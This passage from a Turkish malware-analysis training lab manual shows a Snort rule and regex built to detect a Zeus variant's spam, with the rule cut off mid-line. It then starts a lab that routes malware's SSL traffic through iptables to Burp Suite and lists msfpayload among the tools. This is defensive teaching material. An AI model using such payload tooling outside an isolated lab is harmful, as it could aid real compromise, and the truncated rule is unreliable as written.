  • 53. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 5. Adım Son adımda zararlının ağ hareketleri incelenerek özel bir desen oluşturulmaya çalışılır. Örnek zaralının spamgönderimleri incelendiğinde gönderici adreslerinin belli bir formatta oluşturulduğu fark edilmiştir. Örneğin, MAIL FROM:<Donald86@1008.com> MAIL FROM:<Kevin08@3184.com> MAIL FROM:<Michael36@6998.com> şeklindeki gönderici adresleri (isim)(2rakam)@(4rakam).com desenine uymaktadır. Desen belirlendikten sonra bu desene uygun bir Perl düzenli ifadesi yazılır. Bu desen “/<[a- z]+[0-9]{2}@[0-9]{4}.com>/i” düzenli ifadesi ile karşılanabilir. Yazılan düzenli ifadeleri online olarak test etmek için “www.regexe.com” adresi oldukça kullanışlıdır. SMTP üzerinden mail gönderimlerinde belirlenen deseni arayacak Snort kuralını temel olarak aşağıdaki gibidir. alert tcp $HOME_NET any -> $EXTERNAL_NET 25 (msg:"Zeus variant sending spam"; flow:to_server,established; pcre:"/<[a-z]+[0-9]{2}@[0-9]{4}.com>/i"; priority:1; sid:900$ Uygulama No: BGA-MA-? Uygulama Adı: SSL Kullanan Zararlı Yazılım Trafiğini Yönlendirme ve İnceleme
  • 54. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Amaç: SSL kullanan zararlı yazılımın trafiğini şifresiz halde yakalayıp incelemek. Lab senaryosu: HTTPS kullanarak komuta merkezi ile haberleşmeye çalışan zararlı yazılımın trafiği iptables yardımıyla Burp Suite web proxy yazılımına yönlendirilerek analiz edilir. Kullanılan Araçlar: ● Burp Suite ● iptables ● msfpayload Adımlar: 1. Adım Zararlının çalıştırılacağı makine(örnekte WinXP) ve trafik analizi için kullanılacak makine(örnekte Kali Linux) tercihen host-only bir ağ arayüzü ile bağlanır. WinXP(örnekte: 10.10.10.50) varsayılan ağ geçidi olarak Linux makineyi(örnekte: 10.10.10.1) kullanacak şekilde ayarlanır. 2. Adım Linux makineyi gateway olarak kullanabilmek için paket yönlendirme ve IP masquerade özellikleri aktif edilir. Terminalde “sysctl -w net.ipv4.ip_forward=1” komutu ile paket yönlendirme aktif edilir. “sysctl -a | grep net.ipv4.ip_forward” komutu ile değerin 1 olarak olduğu